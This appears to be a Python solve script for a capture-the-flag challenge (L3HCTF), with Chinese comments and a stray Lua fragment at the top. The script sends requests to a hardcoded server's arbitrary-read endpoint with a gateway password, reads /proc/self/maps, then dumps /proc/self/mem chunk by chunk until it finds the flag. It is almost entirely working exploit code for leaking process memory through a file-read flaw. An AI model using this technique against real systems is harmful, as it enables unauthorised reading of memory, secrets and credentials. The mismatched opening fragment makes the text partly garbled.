print("Address: ", tostring(ptr))
#tostring(ptr):将 C 指针转换为 Lua 字符串,格式为 0xXXXXXXXXXXXXXXXX(十六进制内存地址)。
}
import requests
import re
import time
# === 配置项 ===
TARGET = "http://43.138.2.216:17794/read_anywhere"
PASSWORD = "passwordismemeispasswordsoneverwannagiveyouup"
CHUNK_SIZE = 4096 # 每次读取的字节数
FLAG_PREFIX = b"L3HCTF{"
# === 读取 maps ===
def get_readable_ranges():
headers = {
"X-Gateway-Password": PASSWORD,
"X-Gateway-Filename": "/proc/self/maps",
"X-Gateway-Start": "0",
"X-Gateway-Length": "65536"
}
print("[*] 请求 /proc/self/maps ...")
r = requests.get(TARGET, headers=headers)
if r.status_code != 200:
raise RuntimeError(f"无法读取 maps: {r.status_code}")
ranges = []
for line in r.text.splitlines():
m = re.match(r'^([0-9a-fA-F]+)-([0-9a-fA-F]+) ([rwxp\-]{4})', line)
if m and 'r' in m.group(3):
start = int(m.group(1), 16)
end = int(m.group(2), 16)
ranges.append((start, end))
print(f"[+] 找到 {len(ranges)} 个可读内存段")
return ranges
# === 搜索内存中包含 flag 的区域 ===
def search_flag_in_mem(ranges):
for start, end in ranges:
print(f"[*] 扫描内存段: {hex(start)} - {hex(end)}")
offset = 0
while start + offset < end:
size = min(CHUNK_SIZE, end - (start + offset))
headers = {
"X-Gateway-Password": PASSWORD,
"X-Gateway-Filename": "/proc/self/mem",
"X-Gateway-Start": str(start + offset),
"X-Gateway-Length": str(size)
}
try:
r = requests.get(TARGET, headers=headers, timeout=5)
if r.status_code != 200:
print(f"[!] 读取失败 status={r.status_code} offset={offset}")
break
data = r.content
if FLAG_PREFIX in data:
index = data.find(FLAG_PREFIX)
# 简单截断 flag(直到遇到右大括号或 50 字节以内)
tail = data[index:index + 50]
match = re.search(rb'L3HCTF\{[^\}]{1,48}\}', tail)
if match:
print(f"\n🎉 找到 flag: {match.group(0).decode()}")
return True
else:
print(f"[?] 找到前缀但无法确定完整 flag: {tail}")
return True
offset += size
except Exception as e:
print(f"[!] 请求异常: {e}")
break
print("[-] 未找到 flag")
return False
if __name__ == "__main__":
ranges = get_readable_ranges()
found = search_flag_in_mem(ranges)
if not found:
print("[-] flag 未找到")